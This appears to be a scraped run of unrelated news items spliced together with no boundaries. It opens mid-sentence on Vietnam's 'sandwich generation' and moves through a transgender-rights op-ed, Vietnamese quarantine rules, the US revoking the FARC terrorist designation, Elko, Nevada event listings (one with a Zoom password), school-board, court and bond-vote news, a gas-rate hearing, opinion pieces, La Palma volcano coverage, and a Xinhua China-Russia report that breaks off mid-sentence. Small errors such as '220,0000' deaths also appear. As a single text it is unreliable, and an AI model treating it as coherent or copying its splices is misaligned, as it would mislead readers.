year, when Hong's daughter was learning how to walk and her 70-year-old mother hobbled around with a cane, the house-help returned to her hometown to handle some personal matters. Hong had to leave her daughter crying in the crib often to assist her mom as she moved from the bedroom to the bathroom. Her mother would need to use the toilet frequently each time the weather changed. Today, Hong's daughter is able to run freely around the house, but her mother's legs have become weaker and confined her to lying down in one place, most of the time. After her father died, Hong has become the sole support for her mother. Her younger sister moved far away after getting married and is living a difficult life; so she cannot provide much support in caring for their mother. Hong spends her mother's pension of more than VND7 million ($304) to hire a caregiver. For an additional VND3 million, she could have her mother admitted to a home for the elderly. However, she and her husband cannot bear to do so. Before she began losing her memory, Hongs mother would tell her that only ungrateful children without filial piety would send their parents to nursing homes. "I get very afraid when my mother and daughter both get sick, having me run back and forth like a shuttle. When I'm with one person, I'm afraid the other will be in trouble," she said. Sociologists call people like Hong, who have to take care of both elderly parents and raise children, the sandwich generation. It is a term coined by American sociologist Dorothy Miller, referring to a group of middle-aged people who have to take care of their aging parents and young children at the same time. A 2013 study by the Pew Research Center based in the US found that nearly half the people aged 40-50 had parents over 65 years old as well as very young children. About 15 percent of the middle-aged people said they were financially supporting both their elderly parents and their children. In a recent rapid VnExpress survey of more than 250 married people, 56.3 percent said that they were taking care of young children and elderly parents at the same time. Of these, 35.9 percent said they felt tired and under pressure all the time. There are no official statistics for the sandwich generation in Vietnam, but, according to Dr Khuat Thu Hong, director of the Institute for Social Development Studies, this is a common and inevitable situation. According to the 2019 census, the proportion of dependent population (under 15 and over 65) in Vietnam was about 45 percent. Meanwhile, the youth population (16 to 30) in the country has been decreasing year after year, and 60 plus group has kept rising. "People's life expectancy is increasing while young people are having fewer children. Meanwhile, many elderly people in Vietnam do not have pensions. So aging parents have to financially rely on their children," Hong said. A national report on Vietnams aging society says the proportion of elderly Vietnamese without pensions and benefits is 64.4 percent. It forecasts that after 2035, three out of every four people of working age will have to care for three family members, hindering opportunities for young people to accumulate and secure an income for their old age. Without a timely intervention policy, Vietnam will be stuck in a cycle of young people having low savings, and elderly people getting older, poorer and sicker, the report said. Lost opportunities Not only do they have to put in a lot of effort, many people of the sandwich generation have to give up suitable jobs or higher positions when they prioritize taking care of their elderly parents and young children. One VnExpress survey found 68 percent of the respondents saying they had to sacrifice their career and more than 34 percent saying they had to reduce their working hours and earn lower income because they have to spend time taking care of their loved ones. Once, when Hong's mother was hospitalized, she had to take half a month off. Just a month later, she texted her boss again to ask for another four days off because the house-help left for her hometown. With work interrupted often, Hong is no longer assigned important tasks by the company. "There are times when I'm exhausted mentally and physically. I might still have opportunities to prove myself at work, but my mother doesn't have much time left with us," she said, sighing sadly. The Vietnamese tradition of filial piety exerts a lot of pressure on the sandwich generation. According to Associate Professor of Anthropology and Sociology Nguyen Duc Loc, director of the Social Life Research Institute, having to be a family pillar for others causes many people to have a mental crisis. Two years ago, 25-year-old Vu Thi Thu from the central province of Thanh Hoa sent her one-year-old child back to the countryside and moved with her husband to Japan to set up a business. Since both had poor childhoods, she and her husband tried not to let the past repeat for their child and to provide a comfortable life for their parents in their old age. In Vietnam, the couple earned little more than VND20 million, which was not enough for them to give comfortable life for both their parents and their child. Once, when both Thu and her son fell sick at the same time, the family had to borrow money at high interest to pay the hospital fees. Their financial struggles eased after she left for Japan, but Thu lived in torment. Her son doesn't miss his mother as much as he used to and refuses to have a video call with her at times. Sometimes, she hears from relatives that the neighbors think her child is an orphan. Earlier this year, Thu received news that her father has terminal cancer. She emailed a request to leave work the same day and completed the procedures to leave Japan. But, as fate would have it, the Covid-19 pandemic thwarted her plan to return. For a month straight, she had to take medication for depression because of chronic insomnia and prolonged anxiety. In early November, Thu took a flight back to Vietnam. Her father's health had worsened, leaving him unable to eat or drink. Meanwhile, Thu's son does not want to sleep with his mother now. "I am tormented often by my choice. I try to comfort myself, thinking that if I didn't go to Japan, I would have had to sell my house now to take care of father," Thu said. Loc said it was likely that the pressures on sandwich generations will see couples have fewer children, leading to a faster population aging rate. An aging population can be detrimental to the demographic structure and future socio-economic development. It increases pressure on the social security system for the elderly and reduces human resources, especially young workers. Later, a child will likely have to face the problem of taking care of two parents and four grandparents at the same time. Faced with such concerns about an aging population, a draft outline of the Law on Population by the health ministry is currently collecting feedback for submission to the government. It prioritizes the implementation of measures to encourage couples to have two children in areas with low fertility. Accordingly, the government would grant couples a sum equal to the minimum wage of the particular region they live in upon having their first child, and twice that upon having the second. The minimum wage currently ranges from VND3.07 million to VND4.42 million. Under the proposal, women in certain regions could receive up to VND8.84 million upon having their second child. Couples who have two children would also be supported by the government in pre-school education and education at public primary schools. Their children can study in public middle schools for free. Loc said that in order to reduce the burden on sandwich generations, the government should regulate public services like healthcare and education so that the poor have the opportunity to access these basic human rights, instead of leaving them in the hands of the profit-driven market economy. It is also necessary to train people in financial planning skills, he said. Hong said that the government should increase welfare, reduce health insurance fees or provide it free for the elderly, and reduce school fees for children of sandwich generation couples. She said nursing homes are a solution to reduce the pressure of caring for the elderly. However, not everyone can afford to send their parents to such institutions. Even people with money might not be able to overcome the prejudices and taboo against sending loved ones to such institutions. "In the future, nursing homes will be a potential market when they become the choice of many modern families," she commented. While experts advise sandwich generations to actively build a financial plan for their future to guarantee their living requirements are met, this is easier said than done. Currently, Hong is worried about her mother and daughter, and wondering whether or not she should have a second child. Thu plans to finish "arranging" the family's business and move back to Hanoi to work. Even though she will earn less money, she would only need to spend half a day on the bus to visit her son and relatives in the countryside. On paper, Vietnam has taken an important step towards guaranteeing the rights of transgender people to have their gender identity recognized. Now it is time to promulgate the legal framework that will actually implement and enforce the relevant Civil Code article, which is still under development. Vietnam's move to enshrine the rights of transgender people to be recognized under the 2015 Civil Code marked a significant step forwards. But the legislation to implement the relevant provisions and secure those rights in practice are still pending. The draft law currently under way must take into account the experienced reality of the estimated 290,000-480,000 people who identify as transgender in the country. Our society poses many obstacles to transgender people living freely according to their gender identity. Their outward appearance may not correspond with their gender marker, meaning the assignation in official documents as female or male. So any time a transgender man or woman applies for a job, wants to get their drivers licence, or has to go through any other simple administrative procedure, they face a barrier. This, in turn, blocks their effective participation in society on an equal basis. For instance, one in three transgender women in Vietnam has been denied rental accommodation or evicted. One transgender man said that he would like to finally get legally married to his long-term girlfriend, but cannot because his gender marker on his ID still says female. These cases deny a persons self-determined gender identity, by imposing restrictions that do not correspond with their gender identity or their lived reality within the community and society. The stigma and discrimination can be crippling. Almost 87 percent of transgender men and 75 percent of transgender women have had to change their physical appearance in ways that do not align with their identity. The rates of depression and suicidal thoughts among the transgender community are much higher than the national averages. Nearly 40 percent of transgender people in Vietnam reported having suicidal thoughts, of which nearly half attempted suicide. The first attempted suicide of transgender people in this group was by a person around 15 years old. With the promulgation of Article 37 of the 2015 Civil Code, the Government of Vietnam has made a commitment to develop a legal framework that regulates how to change one's legal gender marker. Work is under way on the first draft of such a framework, shining a light on the challenges transgender people face and seeking a solution to the legal limbo in which they currently live. Transgender people in Vietnam are integral parts of families and communities, like any other family or community member, and yet they are prevented from participating in society in the same way and on equal footing. The lack of legal recognition of their gender identity obstructs their effective participation in Vietnam's society and labor force, and their access to health care. The goal for the almost half a million people in Vietnam who identify as transgender must be to ensure that their dignity and human rights are respected; that they are able to be productive citizens, contributing to their communities; and protected from violence, stigma and discrimination. As evidenced in many countries, there are concrete and practical benefits of inclusive laws and policies including wider economic benefits. Countries that make efforts to fully include all people are more likely to foster human capital skills, to build more innovative economies and to recover from the shocks of present and future crises, including the Covid-19 pandemic. The introduction of the law on legal gender affirmation also responds to a growing public awareness and acceptance of the importance to protect and respect the human rights of transgender people. Many countries and regions are reforming legislation on this issue, ensuring transgender people can apply for legal gender marker change. In the Asia-Pacific region, only a couple countries or provinces have recognized the importance for transgender people to have access to legal recognition of gender identity. Vietnam has an important opportunity to stand out as a regional leader on transgender rights. In doing so, it will be important for Vietnam to ensure that the decision on gender identification is first and foremost a personal one, underpinned by self-determination. Crucial in this debate is a recognition that a person can apply for a change in their gender marker without being forced to undergo invasive medical interventions. While some choose to undertake hormonal treatments and surgical interventions (which should be accessible and safe), these should not be a prerequisite to apply for legal gender marker change. The highest global authorities on (the interpretation of) human rights treaties ratified by Vietnam, such as the High Commissioner on Human Rights and the Independent Expert on Sexual Orientation and Gender Identity, have emphasized that requiring medical interventions as a condition for legal gender recognition amounts to inhuman or degrading treatment and is prohibited by the United Nations Convention against Torture. Moreover, the latest edition of the International Classification of Diseases endorsed by the World Health Assembly made it clear that being transgender alone does not constitute any illness or a disorder. It is also affirmed that people who are persistently having incongruence between an individuals experienced gender and the gender assigned at birth, should be provided access to gender-affirming medical care. Furthermore, the prohibition of discrimination dictates that a requirement on marital status does not have any place in an application procedure for legal gender marker change, as that would violate the principle of equality. This principle is enshrined in the International Covenant on Civil and Political Rights, the International Covenant on Economic, Social and Cultural Rights, the Convention on the Elimination of all forms of Discrimination against Women, and other treaties Vietnam has ratified. Some countries have paved the way on this issue already, ensuring broad access to legal gender affirmation, regardless of legalization of same-sex marriage. It is important not to break up well functioning families, living situations and personal bonds, and thus it is recommended that any marriage remains valid that was legal at the time it was conducted. The time now is pertinent, as the transgender community in Vietnam has been waiting for many years with great anticipation for the promised regulations that would fill significant legal gaps they face in their everyday lives. Transgender people have so much to contribute to our society and to their communities. The law should reflect their lived reality so they can live their lives to the fullest potential. *H.E. Ann Mawe, Ambassador of Sweden in Vietnam, and Rana Flowers, United Nations Resident Coordinator ad interim in Vietnam, are the Co-chairs of the informal Group of Ambassadors and Heads of Agencies on Gender Policy Coordination. A man arriving from South Korea to Hanoi has his papers checked at Noi Bai Airport, September 25, 2020. Photo courtesy of Vietnam Airlines. The Vietnam Aviation Business Association wants the Ministry of Health to reduce its proposed 14-day home quarantine for fully immunized overseas Vietnamese to three days. They could be told to perform a rapid Covid test by themselves and a PCR test for confirmation if they test positive, it said. The ministry has drafted new entry guidelines for overseas Vietnamese arriving by regular international flights that require them to self-monitor their health for the first three days at home or a hotel and isolate themselves. They have to undergo PCR testing on the third day, and continue to monitor their health until the end of the 14th day. Unvaccinated passengers have to undergo home quarantine for seven days and be tested on the first and seventh days. They then have to continue monitoring their health for another seven days. All passengers except children aged under two entering the country must furnish a negative PCR test result, but the aviation association wants the ministry to allow the exemption for everyone under 18. Pointing out the draft proposal does not include foreigners wishing to enter Vietnam for travel and business, it said with the pandemic under control following the high vaccination rate and neighboring countries easing entry regulations and attracting foreign visitors, the ministry should waive quarantine requirement for foreigners who are fully vaccinated or have recovered from Covid. Health and aviation experts have repeatedly called on the government to not insist on mandatory quarantine for foreigners entering the country by commercial flights to enable the airline and tourism industries to recover. The government has approved the resumption of international flights on a few routes from January 1. It grounded all international flights in March last year, for a long time allowing in only its nationals, foreign experts, investors, and highly-skilled workers coming by special flights. The United States has revoked the terrorist and drug trafficking sanctions designations for the Revolutionary Armed Forces of Colombia, known as the FARC, and simultaneously designated two splinter groups and their leaders. During five decades of armed conflict, over 220,0000 people were killed, and millions displaced. The FARC was responsible for the kidnapping, summary execution of thousands, and other illicit activity, including narcoterrorism. Following the 2016 Peace Accord, the FARC formally dissolved and disarmed. 13,000 former combatants demobilized and reintegrated into communities across Colombia, creating, as Secretary of State Antony Blinken said in a statement, opportunities for peaceful participation in Colombias political process, and opening the door to a more economically vibrant, equal and stable region. Now, said Secretary Blinken, the FARC no longer exists as a unified organization that engages in terrorism or terrorist activity or has the capability or intent to do so. He added that the revocation does not change the posture with regard to any charges or potential charges in the United States against former leaders of the FARC, nor does it erase the stain of their crimes. In addition, as part of the sustained effort to isolate and expose terrorists, Secretary Blinken announced the United States has placed two groups, largely made up of former FARC rebels who refuse to participate in the peace process, on the terrorism list. The two are the Revolutionary Armed Forces of ColombiaPeoples Army, the FARC-EP, and Segunda Marquetalia. Both groups have engaged in armed attacks; killing or attempted killing of former FARC members and political candidates; as well as kidnapping and hostage-taking. The United States has also designated the leaders of these organizations as Specially Designated Global Terrorists. The 2016 Peace Accord, followed by the dissolution of the FARC, was a positive turning point in the conflict that raged for more than 50 years in Colombia. Secretary Blinken said the revocation of the terrorist designations for the FARC will facilitate the ability of the United States to better support the Accords implementation, including by working with demobilized combatants. The move also sends a wider message, as Juan Gonzalez, Senior Director for the Western Hemisphere at the National Security Council said in an interview: If a guerilla group through an accord disarms and demobilizes and gets involved politically, thats ultimately what you want to happenIt sends a signal that these processes can produce an outcome that can lead toward peace. Survival and safety event ELKO Nevada Outdoor School will present a winter survival and safety event from 4- 5 p.m. Dec. 15 in the Elko Peace Park. Staff will discuss how to prepare a winter safety bag, winter survival tips while exploring out in nature, and some other general survival tips. There will be hot chocolate for attendees. This event is free to the public.Healthy for the Holidays ELKO The Community Health Development Foundation and Elko Community Health Center present Healthy for the Holidays. They will host a free two-hour class from 5:30 to 7:30 p.m. Dec. 17 at the Elko Senior Citizen Center. Enjoy preparing and trying new recipes to make tasty, healthy holiday meals for you and your loved ones. The classes preview the six-week Healthy for Life Program starting in January. To register, contact Brittney Plaisted at 388-2852 or brittney.plaisted@elkochc.com. RPEN Christmas luncheon ELKO The Elko County Chapter of Retired Public Employees of Nevada will hold their annual Christmas luncheon at 12:30 p.m. Dec. 17, at the Elko Senior Citizens Center, 1795 Ruby View Drive. The Elko High School Choraliers will be performing. All active and retired public employees in the PERS retirement system are invited to attend as guests. For more information contact President Margaret Marcucci at 934-7361 or email mkmarcucci56@gmail.com. Santa coming to NNRH on Dec. 18 ELKO Northeastern Nevada is presenting a safe, socially distanced and sensory sensitive event with Santa at the hospital. Not everyone is comfortable visiting Santa in a big crowd. This will be a drive-through event, but families will have the option to get out of their vehicle and take their own photo with Santa (from 6 feet away.) Every participating child or adult will also receive a gift bag from Santa. The event will take place from noon to 2 p.m. Dec. 18 at the hospital. Pull under the awing of the main entrance where Santa and his friendly elves will be waiting to greet you. For more information, call 748-2007 or email NortheasternNevadaRegional@gamil.com. Christmas with Living Stones Church ELKO Celebrate Christmas with Living Stones Church from 4 to 6 p.m. Sunday, Dec. 19 at the Elko Conference Center. For more information, contact Lead Pastor Nathan Hornback at 299-4633. Living Stones to host community events ELKO Living Stones Churchs citywide Christmas celebration is scheduled at 4 and 6 p.m. Dec. 19 at the Elko Conference Center. All are welcome to join. For further information, contact Lead Pastor Nathan Hornback at 299-4633. Snowshoe hike in Lamoille Canyon LAMOILLE Nevada Outdoor School will host a snowshoe hike beginning at 10 a.m. Dec. 22 in Lamoille Canyon at the Powerhouse Picnic area. The nonprofit organization will provide snowshoes if there is snow. If there is no snow, they will have a hiking session. Hot chocolate, cider, and tea will be provided. This event is free to the public. Sugar plum tree charity ELKO The Elko County Library is once again hosting their annual Sugar Plum Tree. Partner organizations have provided them with names of youth, elderly, and those with special needs, along with their gift requests. Community members may come in to the library, select a tag from the tree and purchase gifts for those who may not otherwise get one at Christmas. The tree and tags are on display now. When you have selected a tag from the tree, please take it to the front desk to check it out. Staff asks that all gifts purchased be wrapped and delivered to the library, with the tag attached, no later than 5 p.m. Dec. 15. For more information call 738-3066. Western Sights exhibit ELKO The Western Sights of Jo Mora will be on display through May 14, 2022, in the Wiegand Gallery. The exhibit presents an engaging overview of the artists work in various media, from his signature cartes (illustrated maps) and illustrations to watercolors and bronze sculptures. Artist Joseph Jacinto Jo Mora (b. 1876) came to the United States from Uruguay and became enamored with the culture and stories of the American West at an early age. Throughout his lifetime, Mora documented the changing landscape of the West through detailed etchings, illustrated maps, paintings, sculptures and stories. In addition to this show, the Western Folklife Center is also showing a special selection of contemporary handcrafted gear from the permanent collection. The gallery is open 10 a.m. to 5:30 p.m. Monday to Friday, 10 a.m. to 5 p.m. Saturday and during special events. Admission is free the first Saturday of the month. Admission is $5 for adults, $3 for students and seniors and $1 for children six to 12-years-old. Free admission for members. Horizon offers bereavement support group ELKO If you or a loved one is grieving the loss of a loved one, please join the Horizon Hospice support group. Participants meet at 6 p.m. on the first and third Tuesday of the month at 1250 Lamoille Highway, Suite 413. There is no cost to community members. Call 778-0612 for more information. Al-Anon meets Wednesdays in Spring Creek SPRING CREEK The Al-Anon Spring Creek Step Study Group meets at 7 p.m. Wednesdays at the Spring Creek Baptist Church, 360 Spring Creek Parkway. The program is in person or virtual. If you or someone you know is worried about a family member or friends drinking problem, Al-Anon is a mutual support group that shares their experiences, strengths and hope. Zoom meeting ID 890 588 5311 Password F8KmfZOn. Celebrate recovery and find freedom ELKO Find freedom for your hurts, habits and hang-ups with The Nazarene Church Christ-centered recovery program every Friday evening. A large group meets at 6 p.m. and a smaller group gathers at 7 p.m. The church is located at 740 Sage St. Call 738-6714 for more information. Medicare providers in Elko ELKO The Medicare in Elko Workgroup has updated their list of Elko medical providers. Listed are those clinics that will accept a new patient using Medicare or Medicaid. It specifically lists clinics where patients can set up appointments with specific providers. The tri-fold brochure also lists providers found outside of Elko, along with two state agencies that help people with their Medicare needs. Senior Services and other medical services are listed. The updated list is available on the groups website, medicarinelko.org. They also have a Facebook page medicare in elko, with a link to the brochure. FRC hosts free teen programs ELKO Family Resource Center is hosting free online and in-person teen health programs each month for youth in Grades 5 to 7 and Grades 10 to 12. These fun, evidence-based age-appropriate programs teach youth about making healthy life decisions. They incorporate medically accurate information along with crucial knowledge about identifying and handling social pressures, communicating effectively and dealing with peer pressure. Youth learn about reproductive health, puberty, hygiene, personal responsibility, avoiding risky behaviors and respect for self and others, while building knowledge, skills and confidence. Youth receive their choice of a free backpack full of school supplies or a $25 store gift card after completing the program. There is a limit of one free incentive per participant per year. A parent or guardian must pre-register the participant by completing a permission slip before class. The online programs are presented using Zoom in four day blocks for an hour and 45 minutes each day after school. The in-person classes vary, but are usually one day, scheduled on a Saturday or during holiday breaks. For more information call 753-7352, text 775-397-1874 or email teenhealth@elkofrc.org. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 ELKO Clayton J. Anderson is taking the helm of the Elko County School District. Elko County School Board trustees voted 5-1 to appoint the former Wells Combined Schools principal to replace Jeff Zander as interim superintendent. The decision came a day after trustees interviewed Anderson and Sarah Negrete, the director of the Northeastern Nevada Professional Development Program. Anderson has served as the director of School Improvement for the school district for the past year. He arrived from Texas in 2019 to become the principal at Wells. Trustee Ira Wines made the motion to appoint Anderson, which was seconded by Matt McCarty. Board president Teresa Dastrup and trustees Dr. Josh Byers and Jeff Durham approved the motion, with Susan Neal voting against. During discussion, Neal expressed her appreciation for Negretes experience with the Nevada Legislature and budgets, adding that she liked her ideas for teacher recruitment and retention based from her attendance at the National Superintendent Academy and courses in human resources. Trustee Jeff Durham said he felt the interview process needed more time, and wanted to know if the selection of an interim superintendent was for the long-term or short-term. I personally would like more time, but I know that may be a luxury we dont have, Durham said, referring to Zanders plan to leave this month. Dastrup said the goal for the interim was to have the appointee determine if the job was the right fit for the candidate within the next four months, and that the full-time superintendents position would remain open throughout the next several months. Wines added that a larger pool of candidates would be available in the spring for a full-time superintendent search. All the trustees thanked Anderson and Negrete for applying for interim superintendent which was conducted as an internal search within the Elko County School District and for being willing to lead. Whoever takes this position is ready and in for the long haul because our district needs someone who is committed long-term and has the experience to manage the Elko County School District, Dastrup said. Dastrup and McCarty said discussion with site administrators and teachers revealed a desire to have someone with administration experience filling the position. They feel like they can be heard, Dastrup said. [That] the person in charge has been in their shoes. Constituents and site administrators placed a high value on a superintendent who had previous site leadership experience, McCarty said. It was something very important to people that I talked to. Love 3 Funny 2 Wow 1 Sad 0 Angry 2 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Department 2 Judge Al KacinNov. 2Chandler Tom Harrison, 36, of Utah pleaded guilty to burglary, was sentenced to 24 to 120 months in prison and was ordered to pay $19,203.79 restitution to the victims. Steven Burton Hart, 35, of Murray, Utah, pleaded no contest to attempted trafficking in controlled substances, was given a suspended sentence of 15 to 38 months in prison and was placed on probation for 18 months. Nov. 23Brooke Stewart, 31, of Brigham City, Utah, pleaded guilty to possession of a Schedule I or II controlled substance for the purpose of sale, was given a suspended sentence of 12 to 32 months in prison and was placed on probation for 18 months. Breann Lynn Williams, 25, of Elko, pleaded no contest to one count of child neglect and one count of possession of a Schedule I or II controlled substance, was sentenced to 180 days in jail for count one, was given a suspended sentence of 15 to 38 months for count two, was placed on probation for 18 months and was further ordered to serve 20 days in jail for contempt of court for failure to appear for sentencing on October 2021. Department 3 Judge Mason SimonsNov. 5Benjamin Jay Thompson, 34, of Grants, New Mexico, pleaded guilty to conspiracy to commit possession of a controlled substance and was sentenced to 121 days in jail. Nov. 15Angel Hernandez Jr., 32, of California, pleaded no contest to two counts of conspiracy to commit possession of a controlled substance, was given a suspended sentence of one year in jail and was placed on probation for one year. Nov. 22Logan Anthony Melton, 25, of Elko pleaded guilty to conspiracy to commit possession of a controlled substance, was given a suspended of one year in jail and was placed on probation for one year. Kellen William Morris, 31, of Elko pleaded guilty to conspiracy to commit possession of a controlled substance and was sentenced to one day in jail. Love 0 Funny 2 Wow 1 Sad 1 Angry 0 ELKO Elko County voters have defeated a school bond proposal by almost a 3-2 margin. Nearly 5,000 ballots were cast by mail, early voting and on election day Tuesday. Unofficial results list 2,000 votes in favor and 2,997 against. About 18% of registered voters participated in the election compared with 88% in last years General Election, according to the Elko County Clerks office. The election is another blow to the Elko County School Districts capital funding. Last year, voters rejected a renewal of Pay-As-You-Go. The school district released a statement following the announcement Tuesday evening. Votes tallied so far point to a loss for Elko County students and the communities we serve, the district said. The district noted the preliminary result of the special election indicates voter disapproval of the bond issue needed to provide funding for acquisition, construction, renovation, and equipping school facilities as provided by Elko County School Districts Capital Improvement Plan. Interim superintendent Jeff Zander expressed his appreciation to those who supported the bond question. On behalf of the Elko County School District, its staff, the Board of Trustees and our students, I am very appreciative to the voters and supporters who took time to learn about the bond issue, Zander said. While I am disheartened to learn the results of the election, I am very proud of the individuals who became involved in the election that impacts many. Zander, who was replaced as interim superintendent by Clayton J. Anderson on Tuesday, hours before the election returns came in, asked the community to continue their support of the school district and expressed optimism that the district was moving in a positive direction. Moving forward, I know ECSD will continue its sound decision-making practices, ensuring resources are allocated efficiently and in a transparent manner under less-than-ideal circumstances, he said. I encourage those who care deeply about ECSD to continue to support and engage in the happenings of ECSD. The county will certify the election results at a later date. Love 13 Funny 3 Wow 0 Sad 15 Angry 14 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. LAS VEGAS -- Nevadans have the chance this evening to put in their two cents about a proposed rate hike on gas bills. The Public Utilities Commission of Nevada will hold a hearing at 6 p.m. at its offices in Las Vegas and Carson City, taking public comments, both in person and by phone. Southwest Gas is proposing to raise rates by an average of $3.39 a month in southern Nevada and $3.49 a month in the northern part of the state. Hector Fong Jr., communications manager for the Progressive Leadership Alliance of Nevada, called this rate increase ill-timed, since households already are struggling. "We can't be burdening Nevadans right now, at a time when we're still recovering from the pandemic," he said, "especially with the omicron variant on the horizon." On its website, Southwest Gas said the increases would raise $30.5 million, which would be used to maintain its current level of service. The company recently spent almost $2 million to purchase an out-of-state pipeline. Last year, Gov. Steve Sisolak released a climate strategy that calls for Nevada to move away from fossil fuels such as oil and natural gas. Fong said the state needs to stop using natural gas to generate power or heat homes and commercial buildings. "If Nevada wants to meet its climate goals," Fong said, "we need to take bold and drastic action to move away from non-renewable energy like natural gas or methane gas." Find the call-in numbers and the link to view the hearing on the PUCN's website. A decision is expected early next year. Love 0 Funny 0 Wow 0 Sad 0 Angry 3 Today, the White House announced on December 13, the President is taking decisive action to promote fiscal stewardship by improving the Governments service delivery to its customers, the American people. Joe Bidens latest executive order includes 36 customer experience (CX) improvement commitments across 17 Federal agencies. Portraying government as a business and you as its customer ranks right up there with the consent of the governed on the list of fictions contrived to confer legitimacy on an institution that does its best to run every aspect of your life, at your expense, whether you consent or not. Lets have a look at some of the customer experience improvements on offer in the new executive order. First up, the Internal Revenue Service. Income tax filers, were told, will save time by having the option to schedule customer support call-backs, and get new online tools and services to ease the payment of taxes. The IRS isnt a store selling you a product or service. Its a protection racket that takes money from you whether you care to do business with it or not, on pain of fine or imprisonment for declining. If this is customer service, so is a mugger assisting you in getting your wallet out of your pants pocket. How about the State Department? Americans will be able to renew their passports securely online, saving time from having to wait and the effort and cost required to print, go to a post office, and use a paper check. Youre required to beg the government for permission to travel, and fork over a bribe to get that permission, but hey, now you can beg and pay (the second time, anyway) online! Wow, what a deal! Some of these customer service improvements do run in the other direction, making it easier to request access to some of the money taken from you over the years with or without your consent. For example, online tools for collecting Social Security benefits that come nowhere close to the return an indexed mutual fund would have provided had you been permitted to choose your own retirement plan. Youre not Social Securitys customer. Customers get to choose with whom they do business with and on what terms. Some of these customer service improvements may be real experiential improvements for you over previous methods, but they dont magically make you into a customer. They just make governments constant victimization less unpleasant. Love 0 Funny 2 Wow 0 Sad 0 Angry 0 Comments on Deer Mountain timber plan I thank the United States Forest Service for the opportunity to submit this letter as input on the proposed Deer Mountain Timber Stand Improvement and Hazardous Fuels Reduction Project. The project scope is 43,250 acres, of which 20,209 acres are in roadless areas. The glaring disappointment in the proposal is that commercial action is severely restricted, in both prevention and remediation. In continuing to prevent efficient commercial forest management, the USFS essentially is proposing a smooth legalistic solution which solves and saves little, but assures bureaucratic cover and administrative micromanagement by the agency. It will be instructive to learn how many of the 67 square miles actually improve under the ten-year plan and whether improvement is in time to avoid the next firestorms. In practical terms, what these federal projects provide for Elko County and other citizens are Green New Deal third-world opportunities for household fuel collection. And whether you collect fuel, you will retain the opportunity to pay taxes for the agencies themselves to mulch and spoil the timber. Which agency-favored environmentalists evidently accept as just and righteous. The project posits itself as an effective step toward preventing the mindsets of Friends of Nevada Wilderness, other environmental fundraisers and their agency acolytes, from inflicting devastating California-grade firestorms on Nevada forests. But ten years to clear underbrush and diseased overgrowth does not seem an effective step. American federal forests require diligent management. Based on recent decades of wildfires, American federal bureaucracies have not, and apparently cannot, provide that. Spotted owls were eaten by barred owls, and lynx habitats were hoaxes, but the agency responses were to eliminate logging and prudent forest management across their jurisdictions. And firestorms ensued. The plans alternative to balanced multiple use of natural resources simply is to remain a paramount agency enabling government grifters to prevent producers ranchers, farmers and loggers from efficiently conducting their livelihoods on the land livelihoods which in turn steward and protect the land and its wildlife. The Tragedy of the Commons inflicted again. If my language and perspective seem harsh, consider that the agency chartered to serve the country in managing forests, has in one of Americas most arid regions characterized some 67 square miles of forest as hazardous fuels. Yet it will not allow those fuels to be commercially harvested to eliminate the danger. How will the agency handle them, and to what and whose benefit? We already know to whose cost we taxpayers. Decades of environmental mismanagement now morph into building back better. Evidently just like the forests which went up in the Caldor, Bear, Camp, Creek, Tubbs, and the myriad other fires under Forest Service management. Taking homes, livelihoods, livestock and an unacknowledged amount of wildlife with them. This plan seems to be more of the same, with little expectation for timely improvement and reduction of fuel load. Allow commercial harvesting of wood products and open the meadows and range to grazing. Ranching and logging families will manage the land well and efficiently. And the wildlife will benefit. Respectfully, Ralph R. Sacrison Elko Love 3 Funny 0 Wow 0 Sad 0 Angry 1 La Palma volcano ending? "It's too early to tell" The Cumbre Vieja volcano on the Canary Island of La Palma fell silent as constant tremors stopped late on Monday, though experts cautioned this did not necessarily mean the eruption is nearing an end after 85 days. Seismic activity on the island all but stopped around 9 pm local time on Monday, The Canary Islands Volcanology Institute, Involcan, said on Tuesday. It's the longest period without tremors since the eruption began. "This does not imply the eruption is ending, since on other occasions halts were followed by a renewed increase in activity," Involcan said on its twitter account. It added footage of the Cumbre Vieja showing how the almost constant roaring of the volcano had ceased. The eruption, which has sent rivers of molten lava running down the slopes of Cumbre Vieja for weeks, is the longest running on the Spanish Canary Island since records began in 1500. The quiet on Monday evening and Tuesday morning followed the emission of dense toxic clouds of sulphur dioxide on Monday morning that prompted the lockdown of about a third of the island's population. Stavros Meletlidis, a volcanologist with the NationalGeographic Institute who has been following the eruption sinceit began, said there were multiple possible explanations andpointed out that pauses had been observed before. Around a week after the eruption started, seismic activity suddenly dropped off for several hours before restarting with renewed vigour, a pattern that is not uncommon in the early stages of an eruption, he explained. But after nearly three months of activity, the eruption is in a different phase and could be losing strength, he said. "The magma needs energy to get to the surface and it seems that it does not have it at the moment," he said, explaining that could be due to a decline in levels of gases or magma volume as the eruption slowly loses force. However, it could be the result of a blockage between subterranean magma chambers and the surface vent, in which case pressure would continue to build up until reaching critical mass and causing fresh explosions. "It's too early to tell if we're entering a terminal phase," he said. Before declaring the eruption definitively over, scientists will be looking out for a period of at least 48 hours with no seismic activity or surface eruption, he added. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. MOSCOW, Dec. 14 (Xinhua) -- Chinese President Xi Jinping will meet with Russian President Vladimir Putin via video link on Wednesday, another virtual conference this year following the one in June. Since the beginning of this year, China and Russia have taken the celebration of the 20th anniversary of the signing of the China-Russia Treaty of Good-neighborliness and Friendly Cooperation as a new starting point to promote strategic coordination and comprehensive practical cooperation between the two countries. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. The heads of state have maintained frequent and close contacts in 2021. In May, Xi and Putin witnessed the ground-breaking ceremony of a bilateral nuclear energy cooperation project via video link. In June, the presidents met via video link to jointly announce the extension of the China-Russia Treaty of Good-Neighborliness and Friendly Cooperation. In July, Xi sent a message of condolence to Putin over the crash of a Russian passenger plane. In August, the leaders held a phone conversation to discuss bilateral ties and the Afghan situation. With China being Russia's top trading partner for many consecutive years, their bilateral trade exceeded 100 billion U.S. dollars in 2018 for the first time and has maintained the momentum despite the COVID-19 pandemic. In the first 10 months of this year, China-Russia trade in goods reached a record of 115.6 billion dollars, topping the whole-year volume of 2020, official statistics showed. In March, China and Russia signed a memorandum of understanding on jointly establishing an international scientific research station on the moon. The China-Russia Year of Scientific and Technological Innovation concluded last month, which saw more than 1,000 events for exchanges on scientific innovation and cooperation. The No. 7 and No. 8 units of the 